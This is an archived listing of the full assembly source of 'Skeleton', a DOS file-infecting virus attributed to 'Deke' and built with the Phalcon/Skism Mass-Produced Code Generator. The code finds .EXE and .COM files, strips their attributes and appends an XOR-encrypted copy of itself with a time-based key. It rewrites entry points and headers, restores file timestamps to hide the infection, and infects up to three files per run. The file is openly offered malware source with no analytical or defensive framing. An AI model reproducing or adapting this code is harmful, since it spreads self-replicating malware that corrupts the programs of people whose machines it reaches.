home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / s / skeleton.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  10.6 KB  |  303 lines

  1. ; target.asm : [Skeleton] by Deke
  2.  
  3. ; Created wik the Phalcon/Skism Mass-Produced Code Generator
  4.  
  5. ; from the configuration file skeleton.cfg
  6.  
  7.  
  8.  
  9. .model tiny                             ; Handy directive
  10.  
  11. .code                                   ; Virus code segment
  12.  
  13.           org    100h                   ; COM file starting IP
  14.  
  15.  
  16.  
  17. id = 'DA'                               ; ID word for EXE infections
  18.  
  19. entry_point: db 0e9h,0,0                ; jmp decrypt
  20.  
  21.  
  22.  
  23. startvirus:
  24.  
  25. decrypt:                                ; handles encryption and decryption
  26.  
  27. patch_startencrypt:
  28.  
  29.           mov  bp,offset startencrypt   ; start of decryption
  30.  
  31.           mov  ax,(offset heap - offset startencrypt)/2 ; iterations
  32.  
  33. decrypt_loop:
  34.  
  35.           db   2eh,81h,76h,0            ; xor word ptr cs:[bp], xxxx
  36.  
  37. decrypt_value dw  0                     ; initialised at zero for null effect
  38.  
  39.           inc  bp                       ; calculate new decryption location
  40.  
  41.           inc  bp
  42.  
  43.           dec  ax                       ; If we are not done, then
  44.  
  45.           jnz  decrypt_loop             ; decrypt mo'
  46.  
  47. startencrypt:
  48.  
  49.           call next                     ; calculate delta offset
  50.  
  51. next:     pop  bp                       ; bp = IP next
  52.  
  53.           sub  bp,offset next           ; bp = delta offset
  54.  
  55.  
  56.  
  57.           cmp  sp,id                    ; COM or EXE?
  58.  
  59.           je   restoreEXE
  60.  
  61. restoreCOM:
  62.  
  63.           lea  si,[bp+offset save3]
  64.  
  65.           mov  di,100h
  66.  
  67.           push di                       ; For later return
  68.  
  69.           movsb
  70.  
  71.           jmp  short restoreEXIT
  72.  
  73. restoreEXE:
  74.  
  75.           push ds
  76.  
  77.           push es
  78.  
  79.           push cs                       ; DS = CS
  80.  
  81.           pop  ds
  82.  
  83.           push cs                       ; ES = CS
  84.  
  85.           pop  es
  86.  
  87.           lea  si,[bp+offset oldCSIP2]
  88.  
  89.           lea  di,[bp+offset oldCSIP]
  90.  
  91.           movsw
  92.  
  93.           movsw
  94.  
  95.           movsw
  96.  
  97. restoreEXIT:
  98.  
  99.           movsw
  100.  
  101.  
  102.  
  103.           mov  byte ptr [bp+numinfec],3 ; reset infection counter
  104.  
  105.  
  106.  
  107.           mov  ah,1Ah                   ; Set new DTA
  108.  
  109.           lea  dx,[bp+offset newDTA]    ; new DTA @ DS:DX
  110.  
  111.           int  21h
  112.  
  113.  
  114.  
  115.           lea  dx,[bp+offset exe_mask]
  116.  
  117.           call infect_mask
  118.  
  119.           lea  dx,[bp+offset com_mask]
  120.  
  121.           call infect_mask
  122.  
  123.  
  124.  
  125. done_infections:
  126.  
  127.           mov  ah,1ah                   ; restore DTA to default
  128.  
  129.           mov  dx,80h                   ; DTA in PSP
  130.  
  131.           cmp  sp,id-4                  ; EXE or COM?
  132.  
  133.           jz   returnEXE
  134.  
  135. returnCOM:
  136.  
  137.           int  21h
  138.  
  139.           retn                          ; 100h is on stack
  140.  
  141. returnEXE:
  142.  
  143.           pop  es
  144.  
  145.           pop  ds
  146.  
  147.           int  21h
  148.  
  149.           mov  ax,es                    ; AX = PSP segment
  150.  
  151.           add  ax,10h                   ; Adjust for PSP
  152.  
  153.           add  word ptr cs:[bp+oldCSIP+2],ax
  154.  
  155.           add  ax,word ptr cs:[bp+oldSSSP+2]
  156.  
  157.           cli                           ; Clear intrpts for stack manipulation
  158.  
  159.           mov  sp,word ptr cs:[bp+oldSSSP]
  160.  
  161.           mov  ss,ax
  162.  
  163.           sti
  164.  
  165.           db   0eah                     ; jmp ssss:oooo
  166.  
  167. oldCSIP   db ?                          ; Original CS:IP (4 bytes)
  168.  
  169. save3     db 0cdh,20h,0                 ; First 3 bytes of COM file
  170.  
  171. oldSSSP   dd ?                          ; Original SS:SP
  172.  
  173. oldCSIP2  dd ?
  174.  
  175. oldSSSP2  dd ?
  176.  
  177.  
  178.  
  179. creator   db '[MPC]',0                  ; Mass Produced Code Generator
  180.  
  181. virus     db '[Skeleton]',0
  182.  
  183. author    db 'Deke',0
  184.  
  185.  
  186.  
  187. infect_mask:
  188.  
  189.           mov  ah,4eh                   ; find first file
  190.  
  191.           mov  cx,7                     ; any attribute
  192.  
  193. findfirstnext:
  194.  
  195.           int  21h                      ; DS:DX points to mask
  196.  
  197.           jc   exit_infect_mask         ; No mo files found
  198.  
  199.  
  200.  
  201.           xor  cx,cx                    ; Clear attributes
  202.  
  203.           call attributes               ; Set file attributes
  204.  
  205.  
  206.  
  207.           mov  ax,3d02h                 ; Open read/write
  208.  
  209.           int  21h
  210.  
  211.           xchg ax,bx
  212.  
  213.  
  214.  
  215.           mov  ah,3fh                   ; Read file to buffer
  216.  
  217.           lea  dx,[bp+offset buffer]    ; @ DS:DX
  218.  
  219.           mov  cx,1Ah                   ; 1Ah bytes
  220.  
  221.           int  21h
  222.  
  223.  
  224.  
  225.           mov  ax,4202h                 ; Go to end of file
  226.  
  227.           xor  cx,cx
  228.  
  229.           cwd
  230.  
  231.           int  21h
  232.  
  233.  
  234.  
  235.           cmp  word ptr [bp+buffer],'ZM'; EXE?
  236.  
  237.           jz   checkEXE                 ; Why yes, yes it is!
  238.  
  239. checkCOM:
  240.  
  241.           mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
  242.  
  243.           cmp  ax,65535-(endheap-decrypt) ; Is it too large?
  244.  
  245.           ja   find_next
  246.  
  247.  
  248.  
  249.           mov  cx,word ptr [bp+buffer+1]; get jmp location
  250.  
  251.           add  cx,heap-startvirus+3     ; Adjust for virus size
  252.  
  253.           cmp  ax,cx                    ; Already infected?
  254.  
  255.           je   find_next
  256.  
  257.           jmp  infect_com
  258.  
  259. checkEXE:
  260.  
  261.           cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  262.  
  263.           jnz  infect_exe
  264.  
  265. done_file:
  266.  
  267.           mov  ax,5701h                 ; Restore creation date/time
  268.  
  269.           mov  cx,word ptr [bp+newDTA+16h] ; time
  270.  
  271.           mov  dx,word ptr [bp+newDTA+18h] ; date
  272.  
  273.           int  21h
  274.  
  275.  
  276.  
  277.           mov  ah,3eh                   ; Close file
  278.  
  279.           int  21h
  280.  
  281.  
  282.  
  283.           mov  ch,0
  284.  
  285.           mov  cl,byte ptr [bp+newDTA+15h] ; Restore original
  286.  
  287.           call attributes               ; attributes
  288.  
  289.  
  290.  
  291.           cmp  byte ptr [bp+numinfec], 0; Enough infections?
  292.  
  293.           jnz  find_next
  294.  
  295.           pop  ax                       ; remove call from stack
  296.  
  297.           jmp  done_infections
  298.  
  299.  
  300.  
  301. find_next:
  302.  
  303.           mov  ah,4fh                   ; find next file
  304.  
  305.           jmp  short findfirstnext
  306.  
  307. exit_infect_mask: ret
  308.  
  309.  
  310.  
  311. infect_exe:
  312.  
  313.           mov  cx, 1ah
  314.  
  315.           push cx
  316.  
  317.           push bx                       ; Save file handle
  318.  
  319.           les  ax,dword ptr [bp+buffer+14h] ; Save old entry point
  320.  
  321.           mov  word ptr [bp+oldCSIP2], ax
  322.  
  323.           mov  word ptr [bp+oldCSIP2+2], es
  324.  
  325.  
  326.  
  327.           les  ax,dword ptr [bp+buffer+0Eh] ; Save old stack
  328.  
  329.           mov  word ptr [bp+oldSSSP2],es
  330.  
  331.           mov  word ptr [bp+oldSSSP2+2],ax
  332.  
  333.  
  334.  
  335.           mov  ax,word ptr [bp+buffer+8]; Get header size
  336.  
  337.           mov  cl, 4                    ; convert to bytes
  338.  
  339.           shl  ax, cl
  340.  
  341.           xchg ax, bx
  342.  
  343.  
  344.  
  345.           les  ax,dword ptr [bp+newDTA+26] ; Get file size
  346.  
  347.           mov  dx, es                   ; to DX:AX
  348.  
  349.           push ax
  350.  
  351.           push dx
  352.  
  353.  
  354.  
  355.           sub  ax, bx                   ; Subtract header size from
  356.  
  357.           sbb  dx, 0                    ; file size
  358.  
  359.  
  360.  
  361.           mov  cx, 10h                  ; Convert to segment:offset
  362.  
  363.           div  cx                       ; form
  364.  
  365.  
  366.  
  367.           mov  word ptr [bp+buffer+14h], dx ; New entry point
  368.  
  369.           mov  word ptr [bp+buffer+16h], ax
  370.  
  371.  
  372.  
  373.           mov  word ptr [bp+buffer+0Eh], ax ; and stack
  374.  
  375.           mov  word ptr [bp+buffer+10h], id
  376.  
  377.  
  378.  
  379.           pop  dx                       ; get file length
  380.  
  381.           pop  ax
  382.  
  383.           pop  bx                       ; Restore file handle
  384.  
  385.  
  386.  
  387.           add  ax, heap-startvirus      ; add virus size
  388.  
  389.           adc  dx, 0
  390.  
  391.  
  392.  
  393.           mov  cl, 9
  394.  
  395.           push ax
  396.  
  397.           shr  ax, cl
  398.  
  399.           ror  dx, cl
  400.  
  401.           stc
  402.  
  403.           adc  dx, ax
  404.  
  405.           pop  ax
  406.  
  407.           and  ah, 1                    ; mod 512
  408.  
  409.  
  410.  
  411.           mov  word ptr [bp+buffer+4], dx ; new file size
  412.  
  413.           mov  word ptr [bp+buffer+2], ax
  414.  
  415.  
  416.  
  417.           push cs                       ; restore ES
  418.  
  419.           pop  es
  420.  
  421.  
  422.  
  423.           mov  ax,word ptr [bp+buffer+14h] ; needed later
  424.  
  425.           jmp  short finishinfection
  426.  
  427. infect_com:                             ; ax = filesize
  428.  
  429.           mov  cx,3
  430.  
  431.           push cx
  432.  
  433.           sub  ax,cx
  434.  
  435.           lea  si,[bp+offset buffer]
  436.  
  437.           lea  di,[bp+offset save3]
  438.  
  439.           movsw
  440.  
  441.           movsb
  442.  
  443.           mov  byte ptr [si-3],0e9h
  444.  
  445.           mov  word ptr [si-2],ax
  446.  
  447.           add  ax,103h
  448.  
  449. finishinfection:
  450.  
  451.           add  ax,offset startencrypt-offset decrypt
  452.  
  453.           push  ax
  454.  
  455.  
  456.  
  457.           mov  ah,2ch                   ; Get current time
  458.  
  459.           int  21h                      ; dh=sec,dl=1/100 sec
  460.  
  461.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  462.  
  463.           lea  di,[bp+offset codestore]
  464.  
  465.           mov  al,55h                   ; push bp
  466.  
  467.           stosb
  468.  
  469.           lea  si,[bp+offset decrypt]   ; Copy encryption function
  470.  
  471.           mov  cx,startencrypt-decrypt  ; Bytes to move
  472.  
  473.           push si                       ; Save for later use
  474.  
  475.           push cx
  476.  
  477.           rep  movsb
  478.  
  479.  
  480.  
  481.           lea  si,[bp+offset write]     ; Copy writing function
  482.  
  483.           mov  cx,endwrite-write        ; Bytes to move
  484.  
  485.           rep  movsb
  486.  
  487.           pop  cx
  488.  
  489.           pop  si
  490.  
  491.           pop  ax
  492.  
  493.           push di
  494.  
  495.           push si
  496.  
  497.           push cx
  498.  
  499.           rep  movsb                    ; Copy decryption function
  500.  
  501.  
  502.  
  503.           mov  word ptr [bp+patch_startencrypt+1],ax
  504.  
  505.  
  506.  
  507.           mov  al,5dh                   ; pop bx
  508.  
  509.           stosb
  510.  
  511.           mov  al,0c3h                  ; retn
  512.  
  513.           stosb
  514.  
  515.  
  516.  
  517.           call codestore                ; decryption
  518.  
  519.           pop  cx
  520.  
  521.           pop  di
  522.  
  523.           pop  si
  524.  
  525.           rep  movsb                    ; Restore decryption function
  526.  
  527.  
  528.  
  529.           mov  ax,4200h                 ; Move file pointer
  530.  
  531.           xor  cx,cx                    ; to beginning of file
  532.  
  533.           cwd                           ; xor dx,dx
  534.  
  535.           int  21h
  536.  
  537.  
  538.  
  539.           mov  ah,40h                   ; Write to file
  540.  
  541.           lea  dx,[bp+offset buffer]    ; Write from buffer
  542.  
  543.           pop  cx                       ; cx bytes
  544.  
  545.           int  21h
  546.  
  547.  
  548.  
  549.           dec  byte ptr [bp+numinfec]   ; One mo infection
  550.  
  551.           jmp  done_file
  552.  
  553.  
  554.  
  555. attributes:
  556.  
  557.           mov  ax,4301h                 ; Set attributes to cx
  558.  
  559.           lea  dx,[bp+offset newDTA+30] ; filename in DTA
  560.  
  561.           int  21h
  562.  
  563.           ret
  564.  
  565.  
  566.  
  567. write:
  568.  
  569.           pop  bp                       ; Restore relativeness
  570.  
  571.           mov  ah,40h                   ; Write to file
  572.  
  573.           lea  dx,[bp+offset decrypt]   ; Concatenate virus
  574.  
  575.           mov  cx,heap-decrypt          ; # bytes to write
  576.  
  577.           int  21h
  578.  
  579.           push bp
  580.  
  581. endwrite:
  582.  
  583.  
  584.  
  585. exe_mask  db '*.exe',0
  586.  
  587. com_mask  db '*.com',0
  588.  
  589. heap:                                   ; Variables not in code
  590.  
  591. ; The following code is the buffer for the write function
  592.  
  593. codestore:db (startencrypt-decrypt)*2+(endwrite-write)+3 dup (?)
  594.  
  595. newDTA    db 43 dup (?)                 ; Temporary DTA
  596.  
  597. numinfec  db ?                          ; Infections this run
  598.  
  599. buffer    db 1ah dup (?)                ; read buffer
  600.  
  601. endheap:                                ; End of virus
  602.  
  603. end       entry_point
  604.  
  605.